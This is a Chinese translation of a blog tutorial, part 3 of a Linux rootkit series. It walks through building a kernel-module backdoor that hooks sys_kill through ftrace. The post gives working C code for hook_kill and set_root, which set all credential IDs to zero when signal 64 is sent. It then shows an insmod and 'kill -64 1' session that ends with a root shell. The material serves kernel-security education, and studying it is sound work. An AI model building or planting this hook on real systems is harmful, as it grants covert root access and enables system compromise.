3Root 后门_Linux_Rootkit.md

Xcellerator

密码学Linux其他逆向工程

Linux Rootkit 第 3 部分:Root 后门

2020-08-29 :: TheXcellerator

# linux # rootkit # root #后门

现在您已经知道如何创建一个可以挂钩内核内存中任何公开函数的 Linux 内核模块(第 1 部分第 2 部分),让我们开始编写一个可以执行一些有趣操作的挂钩!

在第一个示例中,我们将制作一个 rootkit 来拦截对sys_kill. 99%的时候,我们只使用sys_kill(我们通常使用的用户空间工具是熟悉的kill)来杀死一个进程,即强制它退出并停止执行。然而,它的真正目的只是向进程发送信号。这些信号可以是熟悉的信号,例如SIGTERMSIGKILL- 您甚至可能使用过可自定义的信号,例如SIGUSR1。您可以通过查看来更好地了解所有支持的内容signal(7)

请注意,这kill并不是向进程发送信号的唯一方法!当终端中正在运行某些内容时,您是否曾经按下过*Ctrl-C ?*然后你就发送了中断信号SIGINT

看一下signal.h,我们发现SIG信号的这些名称实际上只是数字(正如您将看到的,内核中的许多东西都是这种情况)。例如,在这里您将看到 被SIGKILL定义为,这就是当我们确实希望进程终止时9我们键入的原因。另请注意,这些数字最多只能达到(在 x86 上)。我们将实现我们自己的数字信号处理程序- 没有人会注意到这一点,对吧?kill -9 $PID``32``64

钩杀

这个钩子实际上是本系列中最简单的钩子之一。我们需要做的就是检查参数是否sig64,如果是,则调用我们尚未编写的set_root()函数。

假设您已经阅读了第 1部分和第 2部分,那么您就知道我们将如何使用 ftrace 进行挂钩,并且我们将为较新的约定以及 4.17.0 之前的版本sys_kill提供两个挂钩副本pt_regs。如果这对您来说没有意义,那么您可能需要重新访问之前的两篇文章。

这就是我们的hook_kill函数的样子。请注意,对于大多数这些帖子,我将遵守约定pt_regs(用旧方式重写它们非常容易)。与往常一样,完整的工作源可以在repo中找到。

asmlinkage int hook_kill(const struct pt_regs *regs)
{
    void set_root(void);

    int sig = regs->si;

    if (sig == 64)
    {
        printk(KERN_INFO "rootkit: giving root...\n");
        set_root();
        return 0;
    }

    return orig_kill(regs);
}

复制

sig请注意,我们必须从si的字段中提取参数regs。与第 2 部分一样,我们从Linux Syscall Reference中获取此信息,它告诉我们sys_kill确实希望在调用时sig将其放入寄存器中。si另一件需要注意的事情是,如果信号为64,则实际上不会向任何进程发送任何内容!换句话说,如果我们希望set_root()调用该函数,我们需要64某个东西发送信号,但该东西永远不会真正收到任何东西,所以我们选择哪个 PID 并不重要。

这就是系统调用挂钩的全部内容!容易,对吧?这个rootkit的大脑实际上来自于函数set_root(),这就是我们现在所讲的。

更改凭证

当尝试在内核中实现一些新功能时,最好检查一下文档,看看是否可以避免一些令人头疼的问题。在这种情况下,我们脱颖而出,因为这里已经为我们准备了出色的文档。正如这份文件告诉我们的,“一个任务只能改变自己的凭证,而不能改变另一个任务的凭证”。

这意味着我们不能给任意进程 root 权限,但我们可以从已经运行的进程中给自己 root - 例如,我们应该能够 kill -64 1从 bash 运行(记住 - PID 并不重要!),并自动成为根!

然后,文档告诉我们,我们需要一个cred结构,它将prepare_creds()用进程的当前凭据填充该结构。然后我们可以对此结构进行任何我们想要的更改,然后再将它们提交回进程commit_creds()。看起来相当简单,对吧?粗略地说,我们的函数将如下所示:

void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    /* Set the credentials to root */

    commit_creds(root);
}

复制

现在我们只需要填写中间的部分即可!我们如何cred在源代码中查找结构的布局?虽然我总是链接到 GitHub 上的内核源代码,但 GitHub 中的搜索很糟糕。出于这个原因,最好在你的 Vagrant 机器上保留一份来自torvalds 的内核源代码的副本- 这样,你就可以 grep 得到你想要的东西。在这种情况下,grep -ir struct\ cred\ {仅给出一个结果:include/linux/cred.h

第 111 行,我们看到以下内容(为了清晰起见,进行了缩短):

struct cred {
    /* redacted */

    kuid_t      uid;    /* real UID of the task */
    kgid_t      gid;    /* real GID of the task */
    kuid_t      suid;   /* saved UID of the task */
    kgid_t      sgid;   /* saved GID of the task */
    kuid_t      euid;   /* effective UID of the task */
    kgid_t      egid;   /* effective GID of the task */
    kuid_t      fsuid;  /* UID for VFS ops */
    kgid_t      fdgid;  /* GID for VFS ops */

    /* redacted */
}

复制

这看起来就是我们所追求的!另一个 grep,但这次再次kuid_t\;只给出一个结果:include/linux/uidgid.h。在这里我们了解到这kuid_t只是一个包含单个val类型字段的结构uid_t。这同样适用kgid_t,但val属于类型gid_t。(内核确实喜欢它的structs!)

最后,我们发现在arch/x86/include/asm/compat.huid_t中将和gid_t定义为简单的(我不是说过事物几乎总是只是数字吗?)。u16

找到一些相关代码,然后深入挖掘以找到事物的正确定义的过程会一次又一次地出现。它有助于了解如何在 C 中定义事物。如果您自己无法进行这些 grep 搜索,请不要担心 - 这需要时间和对内核对象如何构造的熟悉。

鉴于这些val字段只是u16s,我们应该能够将它们全部设置为0,并且在提交它们之后,我们应该成为 root!

我们的set_root()函数现在看起来像:

void set_root(void)
{
    struct cred *root;
    root = prepare_creds();

    if (root == NULL)
        return;

    root->uid.val = root->gid.val = 0;
    root->euid.val = root->egid.val = 0;
    root->suid.val = root->sgid.val = 0;
    root->fsuid.val = root->fsgid.val = 0;

    commit_creds(root);
}

复制

好的,如果您一直在关注,那么请完成您的 hook 和 ftrace 业务的其余部分(请参阅第 2 部分) - 否则您可以在此处下载完整的 rookit 源代码。

继续make你的内核模块和insmod它。现在只需64任何进程发送信号即可,例如kill -64 1。现在检查一下id,你就会成为 root 了!

$ sudo insmod rootkit.ko
$ kill -64 1
$ id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),111(lxd),117(lpadmin),118(sambashare),1000(vagrant)

一个有趣的旁注是,我们完全绕过了该cred结构的安全功能,甚至没有意识到!根据credentials.rst,一旦我们调用prepare_creds()current->cred_replace_mutex就会自动锁定,直到commit_creds()被调用为止(互斥锁有点像锁,可以防止同时写入内核中的对象)。这样做是为了防止像 ptrace 这样的东西只是附加到正在更改其凭据的进程并将该更改升级到根!我们根本没有注意到这一点,因为虽然互斥锁仍然处于锁定状态,但它被锁定以便只有我们可以进行更改!

阅读其他帖子


←Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门Linux Rootkit 第 2 部分:Ftrace 和函数挂钩→

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

s/linux_rootkits_02/)

哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题

该网站是闹鬼网络的一部分

<<< 随机 >>>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

丁金金_chihiro_修行

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值